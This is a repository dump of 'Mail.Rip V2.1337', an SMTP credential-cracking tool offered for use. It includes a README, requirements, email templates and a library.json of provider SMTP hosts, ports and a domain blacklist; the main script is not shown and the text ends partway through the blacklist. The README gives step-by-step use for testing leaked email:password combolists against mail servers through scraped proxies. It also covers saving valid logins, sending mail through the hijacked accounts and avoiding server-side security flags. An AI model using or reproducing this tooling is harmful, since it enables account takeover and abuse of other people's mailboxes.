├── requirements.txt ├── various ├── email_template1.txt ├── email_template2.txt ├── email_template3.txt ├── email_template4.txt ├── email_template5.txt └── MailRipV2 (Release 9).py ├── README.md ├── library.json └── MailRipV2.py /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi>=2020.12.5 2 | colorama>=0.4.4 3 | dnspython>=2.1.0 4 | PySocks>=1.7.1 5 | tqdm>=4.48.0 6 | requests 7 | uuid>=1.30 8 | -------------------------------------------------------------------------------- /various/email_template1.txt: -------------------------------------------------------------------------------- 1 | # THIS IS TEMPLATE NO.1 - EDIT FOR YOUR NEEDS # 2 | 3 | Hello mate! 4 | 5 | If you read this, the e-mail delivery test was successful. 6 | The tested SMTP login is: 7 | 8 | PLACEHOLDER EMAIL: ${smtp_email} 9 | PLACEHOLDER HOST: ${smtp_host} 10 | PLACEHOLDER PORT: ${smtp_port} 11 | PLACEHOLDER USER: ${smtp_user} 12 | PLACEHOLDER PASS: ${smtp_pass} 13 | 14 | Please, consider a donation to support my work or just buy me a coffee. 15 | Every donation is appreciated though coffee even more. 16 | The (donation) wallets are: 17 | 18 | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 19 | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 20 | 21 | Thank you in advance and do not forget to visit my GitHub page! 22 | 23 | Stay healthy and best regards, 24 | DrPython3 25 | -------------------------------------------------------------------------------- /various/email_template2.txt: -------------------------------------------------------------------------------- 1 | # THIS IS TEMPLATE NO.2 - EDIT FOR YOUR NEEDS # 2 | 3 | Hello mate! 4 | 5 | If you read this, the e-mail delivery test was successful. 6 | The tested SMTP login is: 7 | 8 | PLACEHOLDER EMAIL: ${smtp_email} 9 | PLACEHOLDER HOST: ${smtp_host} 10 | PLACEHOLDER PORT: ${smtp_port} 11 | PLACEHOLDER USER: ${smtp_user} 12 | PLACEHOLDER PASS: ${smtp_pass} 13 | 14 | Please, consider a donation to support my work or just buy me a coffee. 15 | Every donation is appreciated though coffee even more. 16 | The (donation) wallets are: 17 | 18 | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 19 | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 20 | 21 | Thank you in advance and do not forget to visit my GitHub page! 22 | 23 | Stay healthy and best regards, 24 | DrPython3 25 | -------------------------------------------------------------------------------- /various/email_template3.txt: -------------------------------------------------------------------------------- 1 | # THIS IS TEMPLATE NO.3 - EDIT FOR YOUR NEEDS # 2 | 3 | Hello mate! 4 | 5 | If you read this, the e-mail delivery test was successful. 6 | The tested SMTP login is: 7 | 8 | PLACEHOLDER EMAIL: ${smtp_email} 9 | PLACEHOLDER HOST: ${smtp_host} 10 | PLACEHOLDER PORT: ${smtp_port} 11 | PLACEHOLDER USER: ${smtp_user} 12 | PLACEHOLDER PASS: ${smtp_pass} 13 | 14 | Please, consider a donation to support my work or just buy me a coffee. 15 | Every donation is appreciated though coffee even more. 16 | The (donation) wallets are: 17 | 18 | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 19 | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 20 | 21 | Thank you in advance and do not forget to visit my GitHub page! 22 | 23 | Stay healthy and best regards, 24 | DrPython3 25 | -------------------------------------------------------------------------------- /various/email_template4.txt: -------------------------------------------------------------------------------- 1 | # THIS IS TEMPLATE NO.4 - EDIT FOR YOUR NEEDS # 2 | 3 | Hello mate! 4 | 5 | If you read this, the e-mail delivery test was successful. 6 | The tested SMTP login is: 7 | 8 | PLACEHOLDER EMAIL: ${smtp_email} 9 | PLACEHOLDER HOST: ${smtp_host} 10 | PLACEHOLDER PORT: ${smtp_port} 11 | PLACEHOLDER USER: ${smtp_user} 12 | PLACEHOLDER PASS: ${smtp_pass} 13 | 14 | Please, consider a donation to support my work or just buy me a coffee. 15 | Every donation is appreciated though coffee even more. 16 | The (donation) wallets are: 17 | 18 | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 19 | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 20 | 21 | Thank you in advance and do not forget to visit my GitHub page! 22 | 23 | Stay healthy and best regards, 24 | DrPython3 25 | -------------------------------------------------------------------------------- /various/email_template5.txt: -------------------------------------------------------------------------------- 1 | # THIS IS TEMPLATE NO.5 - EDIT FOR YOUR NEEDS # 2 | 3 | Hello mate! 4 | 5 | If you read this, the e-mail delivery test was successful. 6 | The tested SMTP login is: 7 | 8 | PLACEHOLDER EMAIL: ${smtp_email} 9 | PLACEHOLDER HOST: ${smtp_host} 10 | PLACEHOLDER PORT: ${smtp_port} 11 | PLACEHOLDER USER: ${smtp_user} 12 | PLACEHOLDER PASS: ${smtp_pass} 13 | 14 | Please, consider a donation to support my work or just buy me a coffee. 15 | Every donation is appreciated though coffee even more. 16 | The (donation) wallets are: 17 | 18 | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 19 | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 20 | 21 | Thank you in advance and do not forget to visit my GitHub page! 22 | 23 | Stay healthy and best regards, 24 | DrPython3 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Mail.Rip V2.1337 2 |

3 | Your SMTP checker / SMTP cracker for mailpass combolists including features like: proxy-support (SOCKS4 / SOCKS5) 4 | with automatic proxy-scraper and checker, e-mail delivery / inbox check and DNS lookup for unknown SMTP-hosts. 5 | Made for easy usage and always working! 6 |

7 | 8 |

Overview

9 | 10 |

Legal Notices

11 |

12 | You are ONLY allowed to use the following code for educational purposes! Mail.Rip V2.1337 shall not be used for any kind of illegal activity nor law enforcement at any time. 13 | This restriction applies to all cases of usage, no matter whether the code as a whole or only parts of it are being used. 14 |

15 |

16 | By downloading and / or using any part of the code and / or any file of this repository, you agree to this restriction without remarks. 17 |

18 | 19 | ___ 20 | 21 |

Features

22 |

23 | Mail.Rip V2.1337 is a SMTP checker / SMTP cracker written in Python 3.8. Using the "smtplib", it allows you to check common mailpass combolists for valid SMTP logins. 24 | It has included dictionaries and lists containing details of common email providers as well as most common ports used for SMTP servers. 25 | In case any data is missing, "dnspython" is used to lookup unknown SMTP hosts in MX records. 26 |

27 |

28 | Moreover, Mail.Rip V2.1337 comes with SOCKS-proxy support including a proxy-scraper and checker function. If the proxy-support is activated, the checker / cracker scrapes SOCKS4 or SOCKS5 proxys from common online sources and will check the results, then.. The working proxys will be used randomly. And you can add new sources by editing the library.json at any time. 29 |

30 |

31 | Last but not least, Mail.Rip V2.1337 includes an email delivery test / inbox check for found SMTP logins. For every valid combo, it tries to send a plain text email with the 32 | found SMTP login. All test messages are sent to your own user-defined receiving address whereby the content of the test emails is generated randomly. The templates can be edited in the "library.json", too. 33 |

34 |

35 | Mail.Rip V2.1337 is full functional and ready to use! 36 |

37 | 38 | ___ 39 | 40 |

How-to use Mail.Rip V2.1337

41 |

42 | Mail.Rip V2.1337 has been written and tested with Python 3.8. It should run on any OS as long as Python and all dependencies are installed.
43 | Just follow the steps below! 44 |

45 | 46 |

Installing needed Python modules

47 |

48 | All Python modules / packages needed are listed in the txt-file requirements.txt. For an easy installation, type: 49 |

50 | 51 | ``` 52 | pip3 install -r requirements.txt 53 | ``` 54 | 55 |

56 | Installing any missing dependencies may take some time. Be patient, please. 57 |

58 | 59 |

Start the Checker / Cracker

60 |

61 | With all dependencies being installed, you can start Mail.Rip V2.1337 with: 62 |

63 | 64 | ``` 65 | python3 MailRipV2.py 66 | ``` 67 | 68 |

69 | No extra arguments are needed. You only need to copy your combofile into the same directory before starting the checker 70 | / cracker. After starting it, just follow the steps from (1) to (4). For more information see "Options in Main Menu".
71 |
72 | Please regard:
73 | Your combofile needs to be encoded with utf-8! Any other encoding may cause errors. 74 |

75 | 76 |

Options in Main Menu

77 | 78 |

[1] Set Default Values

79 |

80 | Use this option to edit the default values for Mail.Rip V2.1337. You can edit the following here: 81 |

82 |

83 |

90 |

91 | 92 |

[2] De-/Activate Proxy-Support

93 |

94 | This option allows you to activate or deactivate the proxy-support. If activated, you will be asked for the proxy-type to use. 95 | Just enter SOCKS4 or SOCKS5. The scraper starts automatically then. You can add more sources by editing the library.json. After the scraping is done, you will be asked whether you want to skip the checker. DO NOT SKIP THE CHECKER except you really, really need to start an attack immediately. 96 |

97 | 98 |

[3] Load Combos

99 |

100 | Option [3] starts the Comboloader. Enter the name of your combofile, for example: combos.txt. All combos in the file will be loaded 101 | and prepared for an attack. Therefor, the Comboloader performs the following steps: 102 |

103 |

104 |

110 |

111 |

112 | All combos passing the checks will be loaded for an attack and saved to a txt-file called targets.txt. Please make sure that your combofile is encoded with utf-8 or errors may occur. 113 |

114 | 115 |

[4] Start Attack

116 |

117 | This one is obvious. 118 |

119 | 120 | ___ 121 | 122 |

Various

123 |

124 | See the sections below for any tips, hints and other information. 125 |

126 | 127 |

SMTP cracking / SMTP checking process

128 |

129 | Mail.Rip V2.1337 uses the smtplib for the checking / cracking process. The "magic" is done this way: 130 |

131 |

132 |

    133 |
  1. The SMTP cracker / SMTP checker reads the next combo from the list loaded.
  2. 134 |
  3. It looks up the email domain in the "smtphost" dictionary for the SMTP-host to attack.
  4. 135 |
  5. For unknown hosts, it will try to get the address from the MX records of the email domain.
  6. 136 |
  7. The connection port for host found in MX records is searched using the most common ones in a trial and error process.
  8. 137 |
  9. Afterwards it establishes a connection to the SMTP host (trying SSL and non-SSL as well as TLS)
  10. 138 |
  11. and sends the login data using the target email address and the given password from the combo.
  12. 139 |
  13. If the login is denied, the cracker / checker will try to login with the user-ID (email without @...) and the password.
  14. 140 |
  15. In case the login data is valid, the so-called "hit" will be saved to a txt-file.
  16. 141 |
  17. In the end Mail.Rip V2.1337 will try to send a test message to you using the found SMTP.
  18. 142 |
143 |

144 |

145 | For best results every user should edit the host information in the library.json before starting Mail.Rip V2.1337 the 146 | first time. Adding the data of the most common e-mail providers in a combolist will always speed up the checking / cracking 147 | process. And it will probably raise less security flags on the server-side. 148 |

149 |

150 | Other ways to improve your results are: deactivating the proxy-support and adjusting default values. In fact, IT IS RECOMMENDED TO LEAVE THE PROXY-SUPPORT DEACTIVATED. Without using proxys, you will receive much better results - for the checker as well as for the inbox check. 151 |

152 | 153 |

Notes on the email delivery test (inbox check)

154 |

155 | The email content is generated randomly using templates in the "library.json". Edit those templates for your needs. 156 | Editing the templates from time to time will provide a higher success rate. 157 |

158 |

159 | Always regard that the email delivery test may return false negative results for many reasons. It just confirms that the 160 | given SMTP host can be used for sending emails with any software. Well-known email providers may block or restrict 161 | access to SMTP accounts, especially for tools like Mail.Rip V2.1337. Moreover, free proxys may be blacklisted as well as the certain SMTP account itself. You should test valid logins for which the delivery test failed again after the attack has been finished. 162 |

163 | 164 |

Notes on the blacklist check

165 |

166 | The library.json includes a blacklist for email domains. More than 500 trashmail domains have been added to it. 167 | But there are also some very popular email providers on it. Those email providers are most often a waste of time when 168 | you check or crack mailpass combolists. Sometimes they just block the access, sometimes they ask for further verification. 169 |

170 |

171 | If you want to attack those providers, too, edit the blacklist for your needs. 172 |

173 | 174 | ___ 175 | 176 |

Support Mail.Rip V2.1337

177 |

178 | If you like Mail.Rip V2.1337 support it, please! Every donation helps. Or just buy us coffee! The more 179 | coffee we drink the more time we can spend on projects like this one. Just use the wallets (BTC / LTC / XMR) below for your donation. All donations are appreciated - no matter how much you send. A single Dollar can keep us awake for one or two hours ... ;-) 180 |

181 | 182 |

Donation wallets

183 |

184 | - DrPython3 185 |

189 | - Nexus 190 | 193 |

194 | 195 | ___ 196 | 197 |

Last Update

198 |

199 | Date can be different from the commit date 200 |
201 | 2022-03-21: release v2.1337 - Enhanced edition :P 202 |

203 | -------------------------------------------------------------------------------- /library.json: -------------------------------------------------------------------------------- 1 | { 2 | "smtpdomains": { 3 | "1and1.co.uk":"smtp.1and1.com", 4 | "1and1.com":"smtp.1and1.com", 5 | "1und1.de":"smtp.1und1.de", 6 | "aim.com":"smtp.aim.com", 7 | "alice-dsl.de":"smtp.alice-dsl.de", 8 | "alice-dsl.net":"smtp.alice-dsl.de", 9 | "alice.de":"smtp.alice-dsl.de", 10 | "alice.it":"out.alice.it", 11 | "aol.com":"smtp.aol.com", 12 | "aol.de":"smtp.de.aol.com", 13 | "aon.at":"smtp.a1.net", 14 | "arcor.de":"mail.arcor.de", 15 | "arcormail.de":"mail.arcor.de", 16 | "att.net":"smtp.mail.att.net", 17 | "ameritech.net":"smtp.mail.att.net", 18 | "bellsouth.net":"smtp.mail.att.net", 19 | "prodigy.net":"smtp.mail.att.net", 20 | "bluemail.ch":"smtpauth.bluewin.ch", 21 | "bluewin.ch":"smtpauth.bluewin.ch", 22 | "btinternet.com":"mail.btinternet.com", 23 | "btopenworld.com":"mail.btinternet.com", 24 | "centurylink.net":"smtp.centurylink.net", 25 | "centurytel.net":"smtp.centurylink.net", 26 | "comcast.net":"smtp.comcast.net", 27 | "cox.net":"smtp.coxmail.com", 28 | "cox.com":"smtp.coxmail.com", 29 | "coxmail.com":"smtp.coxmail.com", 30 | "earthlink.net":"smtpauth.earthlink.net", 31 | "email.com":"smtp.mail.com", 32 | "email.de":"smtp.mail.de", 33 | "epost.de":"mail.epost.de", 34 | "ewe.net":"smtp.ewe.net", 35 | "ewetel.de":"smtp-1.ewetel.net", 36 | "ewetel.net":"smtp-1.ewetel.net", 37 | "free.fr":"smtp.free.fr", 38 | "freenet.de":"mx.freenet.de", 39 | "freesurf.ch":"smtp2.sunrise.ch", 40 | "gmx.com":"mail.gmx.com", 41 | "gmx.de":"mail.gmx.com", 42 | "gmx.net":"mail.gmx.com", 43 | "gmx.org":"mail.gmx.com", 44 | "google.com":"smtp.gmail.com", 45 | "googlemail.com":"smtp.gmail.com", 46 | "gmail.com":"smtp.gmail.com", 47 | "hanse.net":"smtp.alice.de", 48 | "home.nl":"smtp.ziggo.nl", 49 | "homemail.com":"smtp.mail.com", 50 | "hotmail.co.uk":"smtp.live.com", 51 | "hotmail.com":"smtp.live.com", 52 | "hotmail.de":"smtp.live.com", 53 | "htp-tel.de":"mail.htp-tel.de", 54 | "icloud.com":"smtp.mail.me.com", 55 | "inbox.ru":"mail.inbox.ru", 56 | "kabelbw.de":"smtp.kabelbw.de", 57 | "kabelmail.de":"smtp.kabelmail.de", 58 | "live.com":"smtp.office365.com", 59 | "live.de":"smtp.office365.com", 60 | "lycos.com":"smtp.mail.lycos.com", 61 | "lycos.de":"smtp.lycos.de", 62 | "mail.com":"smtp.mail.com", 63 | "mail.de":"smtp.mail.de", 64 | "mail.org":"smtp.mail.com", 65 | "mail.ru":"smtp.mail.ru", 66 | "me.com":"smtp.mail.me.com", 67 | "msn.com":"smtp.office365.com", 68 | "mymail.ch":"mail.mymail.ch", 69 | "netcologne.de":"smtp.netcologne.de", 70 | "netscape.net":"smtp.aol.com", 71 | "o2mail.de":"smtp.o2mail.de", 72 | "o2online.de":"smtp.o2online.de", 73 | "one.com":"send.one.com", 74 | "online.de":"smtp.1und1.de", 75 | "onlinehome.de":"smtp.1und1.de", 76 | "orange.fr":"smtp.orange.fr", 77 | "outlook.com":"smtp.office365.com", 78 | "ovh.net":"ssl0.ovh.net", 79 | "post.com":"smtp.mail.com", 80 | "posteo.de":"posteo.de", 81 | "posteo.org":"posteo.de", 82 | "sunrise.ch":"smtp2.sunrise.ch", 83 | "t-online.de":"securesmtp.t-online.de", 84 | "tiscali.cz":"smtp.tiscali.cz", 85 | "tiscali.it":"smtp.tiscali.it", 86 | "tiscali.net":"smtp.tiscalinet.de", 87 | "tiscali.co.uk":"smtp.tiscali.co.uk", 88 | "uni.de":"easy.uni.de", 89 | "unitybox.de":"smtp.unitybox.de", 90 | "versanet.de":"smtp.versatel.de", 91 | "versatel.de":"smtp.versatel.de", 92 | "virgin.net":"smtp.virgin.net", 93 | "virginmedia.com":"smtp.virginmedia.com", 94 | "vodafone.de":"smtp.vodafonemail.de", 95 | "vodafone.net":"smtp.vodafonemail.de", 96 | "wanadoo.fr":"smtp.orange.fr", 97 | "yahoo.co.uk":"smtp.mail.yahoo.com", 98 | "yahoo.com":"smtp.mail.yahoo.com", 99 | "yahoo.de":"smtp.mail.yahoo.com", 100 | "yandex.com":"smtp.yandex.com", 101 | "yandex.net":"smtp.yandex.com", 102 | "yandex.ru":"smtp.yandex.com", 103 | "seznam.cz":"smtp.seznam.cz", 104 | "club-internet.fr":"smtp.club-internet.fr", 105 | "web.de":"smtp.web.de", 106 | "outlook.de":"smtp.office365.com", 107 | "office365.com":"smtp.office365.com", 108 | "yeah.net":"smtp.yeah.net", 109 | "hawaiiantel.net":"smtp.hawaiiantel.net", 110 | "sina.cn":"smtp.sina.cn", 111 | "baldwin-telecom.net":"mail.baldwin-telecom.net", 112 | "rambler.ru":"mail.rambler.ru", 113 | "163.com":"smtp.163.com", 114 | "uol.com.br":"smtp.uol.com.br", 115 | "mybluelight.com":"smtp.mybluelight.com", 116 | "sfr.fr":"mail.sfr.fr", 117 | "netzero.net":"smtp.netzero.net", 118 | "ziggo.nl":"smtp.ziggo.nl", 119 | "terra.com.br":"smtp.sao.terra.com.br", 120 | "charter.net":"mobile.charter.net", 121 | "ntlworld.com":"smtp.ntlworld.com" 122 | }, 123 | "smtpports": { 124 | "smtp.1und1.de":587, 125 | "smtp.1and1.com":587, 126 | "smtp.gmail.com":587, 127 | "smtp.live.com":587, 128 | "smtp.office365.com":587, 129 | "plus.smtp.mail.yahoo.com":465, 130 | "smtp.mail.yahoo.co.uk":465, 131 | "smtp.mail.yahoo.com":465, 132 | "smtp.mail.yahoo.com.au":465, 133 | "smtp.att.yahoo.com":465, 134 | "smtp.o2.ie":25, 135 | "smtp.o2.co.uk":25, 136 | "mail.o2online.de":25, 137 | "smtp.aol.com":587, 138 | "smtp.de.aol.com":587, 139 | "smtp.aim.com":587, 140 | "smtp.ntlworld.com":465, 141 | "mail.btconnect.com":25, 142 | "mail.btopenworld.com":25, 143 | "mail.btinternet.com":25, 144 | "smtp.orange.co.uk":25, 145 | "smtp.orange.fr":465, 146 | "smtp.orange.net":25, 147 | "smtp.wanadoo.co.uk":25, 148 | "securesmtp.t-online.de":587, 149 | "smtp.comcast.net":587, 150 | "outgoing.verizon.net":465, 151 | "smtp.mail.com":587, 152 | "mail.gmx.com":465, 153 | "mail.arcor.de":25, 154 | "mx.freenet.de":25, 155 | "smtp.seznam.cz":587, 156 | "smtp.club-internet.fr":587, 157 | "smtp.alice-dsl.de":587, 158 | "smtp.mail.me.com":587, 159 | "smtp.virgin.net":465, 160 | "smtp.zoho.com":465, 161 | "smtp.postoffice.net":465, 162 | "smtp.netcologne.de":465, 163 | "smtp2.sunrise.ch":465, 164 | "mail.epost.de":25, 165 | "smtp-1.ewetel.net":25, 166 | "smtp.lycos.de":25, 167 | "smtp.tiscalinet.de":25, 168 | "smtp.tiscali.co.uk":587, 169 | "smtp.email.vodafone.de":25, 170 | "smtp.web.de":587, 171 | "smtp.mail.att.net":465, 172 | "smtp.mail.lycos.com":25, 173 | "smtp.vodafonemail.de":587, 174 | "smtpauths.bluewin.ch":465, 175 | "mail.eclipso.de":465, 176 | "firemail.de":587, 177 | "smtp.mailbox.org":465, 178 | "smtp.mail.de":587, 179 | "smtp.yandex.com":465, 180 | "smtp.ewe.net":587, 181 | "mail.unity-mail.de":587, 182 | "smtp.kabelmail.de":465, 183 | "smtp.yeah.net":587, 184 | "smtp.sina.cn":587, 185 | "mail.baldwin-telecom.net":25, 186 | "smtp.hawaiiantel.net":587, 187 | "mail.rambler.ru":25, 188 | "smtp.163.com":587, 189 | "smtp.uol.com.br":465, 190 | "smtp.mybluelight.com":587, 191 | "smtpauth.earthlink.net":587, 192 | "mail.sfr.fr":587, 193 | "smtp.ziggo.nl":587, 194 | "smtp.netzero.net":587, 195 | "smtp.mail.ru":587, 196 | "out.alice.it":25, 197 | "smtp.sao.terra.com.br":587, 198 | "smtp.coxmail.com":465, 199 | "mobile.charter.net":587, 200 | "ntlworld.com":465 201 | }, 202 | "commonports": [ 203 | 25, 204 | 465, 205 | 587 206 | ], 207 | "hosterblacklist": [ 208 | "orange.fr", 209 | "wanadoo.fr", 210 | "gmail.com", 211 | "googlemail.com", 212 | "yahoo.com", 213 | "yahoo.de", 214 | "yahoo.co.uk", 215 | "yahoo.co.jp", 216 | "yahoo.com.br", 217 | "hotmail.com", 218 | "hotmail.co.uk", 219 | "protonmail.com", 220 | "yandex.ru", 221 | "me.com", 222 | "icloud.com", 223 | "0815.ru", 224 | "0wnd.net", 225 | "0wnd.org", 226 | "10minutemail.co.za", 227 | "10minutemail.com", 228 | "123-m.com", 229 | "163.com", 230 | "1fsdfdsfsdf.tk", 231 | "1pad.de", 232 | "20minutemail.com", 233 | "21cn.com", 234 | "2fdgdfgdfgdf.tk", 235 | "2prong.com", 236 | "30minutemail.com", 237 | "33mail.com", 238 | "3trtretgfrfe.tk", 239 | "4gfdsgfdgfd.tk", 240 | "4warding.com", 241 | "5ghgfhfghfgh.tk", 242 | "6hjgjhgkilkj.tk", 243 | "6paq.com", 244 | "7tags.com", 245 | "9ox.net", 246 | "a-bc.net", 247 | "agedmail.com", 248 | "ama-trade.de", 249 | "amilegit.com", 250 | "amiri.net", 251 | "amiriindustries.com", 252 | "anonmails.de", 253 | "anonymbox.com", 254 | "antichef.com", 255 | "antichef.net", 256 | "antireg.ru", 257 | "antispam.de", 258 | "antispammail.de", 259 | "armyspy.com", 260 | "artman-conception.com", 261 | "azmeil.tk", 262 | "baxomale.ht.cx", 263 | "beefmilk.com", 264 | "bigstring.com", 265 | "binkmail.com", 266 | "bio-muesli.net", 267 | "bobmail.info", 268 | "bodhi.lawlita.com", 269 | "bofthew.com", 270 | "bootybay.de", 271 | "boun.cr", 272 | "bouncr.com", 273 | "breakthru.com", 274 | "brefmail.com", 275 | "bsnow.net", 276 | "bspamfree.org", 277 | "bugmenot.com", 278 | "bund.us", 279 | "burstmail.info", 280 | "buymoreplays.com", 281 | "byom.de", 282 | "c2.hu", 283 | "card.zp.ua", 284 | "casualdx.com", 285 | "cek.pm", 286 | "centermail.com", 287 | "centermail.net", 288 | "chammy.info", 289 | "childsavetrust.org", 290 | "chogmail.com", 291 | "choicemail1.com", 292 | "clixser.com", 293 | "cmail.net", 294 | "cmail.org", 295 | "coldemail.info", 296 | "cool.fr.nf", 297 | "courriel.fr.nf", 298 | "courrieltemporaire.com", 299 | "crapmail.org", 300 | "cust.in", 301 | "cuvox.de", 302 | "d3p.dk", 303 | "dacoolest.com", 304 | "dandikmail.com", 305 | "dayrep.com", 306 | "dcemail.com", 307 | "deadaddress.com", 308 | "deadspam.com", 309 | "delikkt.de", 310 | "despam.it", 311 | "despammed.com", 312 | "devnullmail.com", 313 | "dfgh.net", 314 | "digitalsanctuary.com", 315 | "dingbone.com", 316 | "disposableaddress.com", 317 | "disposableemailaddresses.com", 318 | "disposableinbox.com", 319 | "dispose.it", 320 | "dispostable.com", 321 | "dodgeit.com", 322 | "dodgit.com", 323 | "donemail.ru", 324 | "dontreg.com", 325 | "dontsendmespam.de", 326 | "drdrb.net", 327 | "dump-email.info", 328 | "dumpandjunk.com", 329 | "dumpyemail.com", 330 | "e-mail.com", 331 | "e-mail.org", 332 | "e4ward.com", 333 | "easytrashmail.com", 334 | "einmalmail.de", 335 | "einrot.com", 336 | "eintagsmail.de", 337 | "emailgo.de", 338 | "emailias.com", 339 | "emaillime.com", 340 | "emailsensei.com", 341 | "emailtemporanea.com", 342 | "emailtemporanea.net", 343 | "emailtemporar.ro", 344 | "emailtemporario.com.br", 345 | "emailthe.net", 346 | "emailtmp.com", 347 | "emailwarden.com", 348 | "emailx.at.hm", 349 | "emailxfer.com", 350 | "emeil.in", 351 | "emeil.ir", 352 | "emz.net", 353 | "ero-tube.org", 354 | "evopo.com", 355 | "explodemail.com", 356 | "express.net.ua", 357 | "eyepaste.com", 358 | "fakeinbox.com", 359 | "fakeinformation.com", 360 | "fansworldwide.de", 361 | "fantasymail.de", 362 | "fightallspam.com", 363 | "filzmail.com", 364 | "fivemail.de", 365 | "fleckens.hu", 366 | "frapmail.com", 367 | "friendlymail.co.uk", 368 | "fuckingduh.com", 369 | "fudgerub.com", 370 | "fyii.de", 371 | "garliclife.com", 372 | "gehensiemirnichtaufdensack.de", 373 | "get2mail.fr", 374 | "getairmail.com", 375 | "getmails.eu", 376 | "getonemail.com", 377 | "giantmail.de", 378 | "girlsundertheinfluence.com", 379 | "gishpuppy.com", 380 | "gmial.com", 381 | "goemailgo.com", 382 | "gotmail.net", 383 | "gotmail.org", 384 | "gotti.otherinbox.com", 385 | "great-host.in", 386 | "greensloth.com", 387 | "grr.la", 388 | "gsrv.co.uk", 389 | "guerillamail.biz", 390 | "guerillamail.com", 391 | "guerrillamail.biz", 392 | "guerrillamail.com", 393 | "guerrillamail.de", 394 | "guerrillamail.info", 395 | "guerrillamail.net", 396 | "guerrillamail.org", 397 | "guerrillamailblock.com", 398 | "gustr.com", 399 | "harakirimail.com", 400 | "hat-geld.de", 401 | "hatespam.org", 402 | "herp.in", 403 | "hidemail.de", 404 | "hidzz.com", 405 | "hmamail.com", 406 | "hopemail.biz", 407 | "ieh-mail.de", 408 | "ikbenspamvrij.nl", 409 | "imails.info", 410 | "inbax.tk", 411 | "inbox.si", 412 | "inboxalias.com", 413 | "inboxclean.com", 414 | "inboxclean.org", 415 | "infocom.zp.ua", 416 | "instant-mail.de", 417 | "ip6.li", 418 | "irish2me.com", 419 | "iwi.net", 420 | "jetable.com", 421 | "jetable.fr.nf", 422 | "jetable.net", 423 | "jetable.org", 424 | "jnxjn.com", 425 | "jourrapide.com", 426 | "jsrsolutions.com", 427 | "kasmail.com", 428 | "kaspop.com", 429 | "killmail.com", 430 | "killmail.net", 431 | "klassmaster.com", 432 | "klzlk.com", 433 | "koszmail.pl", 434 | "kurzepost.de", 435 | "lawlita.com", 436 | "letthemeatspam.com", 437 | "lhsdv.com", 438 | "lifebyfood.com", 439 | "link2mail.net", 440 | "litedrop.com", 441 | "lol.ovpn.to", 442 | "lolfreak.net", 443 | "lookugly.com", 444 | "lortemail.dk", 445 | "lr78.com", 446 | "lroid.com", 447 | "lukop.dk", 448 | "m21.cc", 449 | "mail-filter.com", 450 | "mail-temporaire.fr", 451 | "mail.by", 452 | "mail.mezimages.net", 453 | "mail.zp.ua", 454 | "mail1a.de", 455 | "mail21.cc", 456 | "mail2rss.org", 457 | "mail333.com", 458 | "mailbidon.com", 459 | "mailbiz.biz", 460 | "mailblocks.com", 461 | "mailbucket.org", 462 | "mailcat.biz", 463 | "mailcatch.com", 464 | "mailde.de", 465 | "mailde.info", 466 | "maildrop.cc", 467 | "maileimer.de", 468 | "mailexpire.com", 469 | "mailfa.tk", 470 | "mailforspam.com", 471 | "mailfreeonline.com", 472 | "mailguard.me", 473 | "mailin8r.com", 474 | "mailinater.com", 475 | "mailinator.net", 476 | "mailinator.org", 477 | "mailinator2.com", 478 | "mailincubator.com", 479 | "mailismagic.com", 480 | "mailme.lv", 481 | "mailme24.com", 482 | "mailmetrash.com", 483 | "mailmoat.com", 484 | "mailms.com", 485 | "mailnesia.com", 486 | "mailnull.com", 487 | "mailorg.org", 488 | "mailpick.biz", 489 | "mailrock.biz", 490 | "mailscrap.com", 491 | "mailshell.com", 492 | "mailsiphon.com", 493 | "mailtemp.info", 494 | "mailtome.de", 495 | "mailtothis.com", 496 | "mailtrash.net", 497 | "mailtv.net", 498 | "mailtv.tv", 499 | "mailzilla.com", 500 | "makemetheking.com", 501 | "manybrain.com", 502 | "mbx.cc", 503 | "mega.zik.dj", 504 | "meinspamschutz.de", 505 | "meltmail.com", 506 | "messagebeamer.de", 507 | "mezimages.net", 508 | "ministry-of-silly-walks.de", 509 | "mintemail.com", 510 | "misterpinball.de", 511 | "moncourrier.fr.nf", 512 | "monemail.fr.nf", 513 | "monmail.fr.nf", 514 | "monumentmail.com", 515 | "mt2009.com", 516 | "mt2014.com", 517 | "mycard.net.ua", 518 | "mycleaninbox.net", 519 | "mymail-in.net", 520 | "mypacks.net", 521 | "mypartyclip.de", 522 | "myphantomemail.com", 523 | "mysamp.de", 524 | "mytempemail.com", 525 | "mytempmail.com", 526 | "mytrashmail.com", 527 | "nabuma.com", 528 | "neomailbox.com", 529 | "nepwk.com", 530 | "nervmich.net", 531 | "nervtmich.net", 532 | "netmails.com", 533 | "netmails.net", 534 | "neverbox.com", 535 | "nice-4u.com", 536 | "nincsmail.hu", 537 | "nnh.com", 538 | "no-spam.ws", 539 | "noblepioneer.com", 540 | "nomail.pw", 541 | "nomail.xl.cx", 542 | "nomail2me.com", 543 | "nomorespamemails.com", 544 | "nospam.ze.tc", 545 | "nospam4.us", 546 | "nospamfor.us", 547 | "nospammail.net", 548 | "notmailinator.com", 549 | "nowhere.org", 550 | "nowmymail.com", 551 | "nurfuerspam.de", 552 | "nus.edu.sg", 553 | "objectmail.com", 554 | "obobbo.com", 555 | "odnorazovoe.ru", 556 | "oneoffemail.com", 557 | "onewaymail.com", 558 | "onlatedotcom.info", 559 | "online.ms", 560 | "opayq.com", 561 | "ordinaryamerican.net", 562 | "otherinbox.com", 563 | "ovpn.to", 564 | "owlpic.com", 565 | "pancakemail.com", 566 | "pcusers.otherinbox.com", 567 | "pjjkp.com", 568 | "plexolan.de", 569 | "poczta.onet.pl", 570 | "politikerclub.de", 571 | "poofy.org", 572 | "pookmail.com", 573 | "privacy.net", 574 | "privatdemail.net", 575 | "proxymail.eu", 576 | "prtnx.com", 577 | "putthisinyourspamdatabase.com", 578 | "qq.com", 579 | "quickinbox.com", 580 | "rcpt.at", 581 | "reallymymail.com", 582 | "realtyalerts.ca", 583 | "recode.me", 584 | 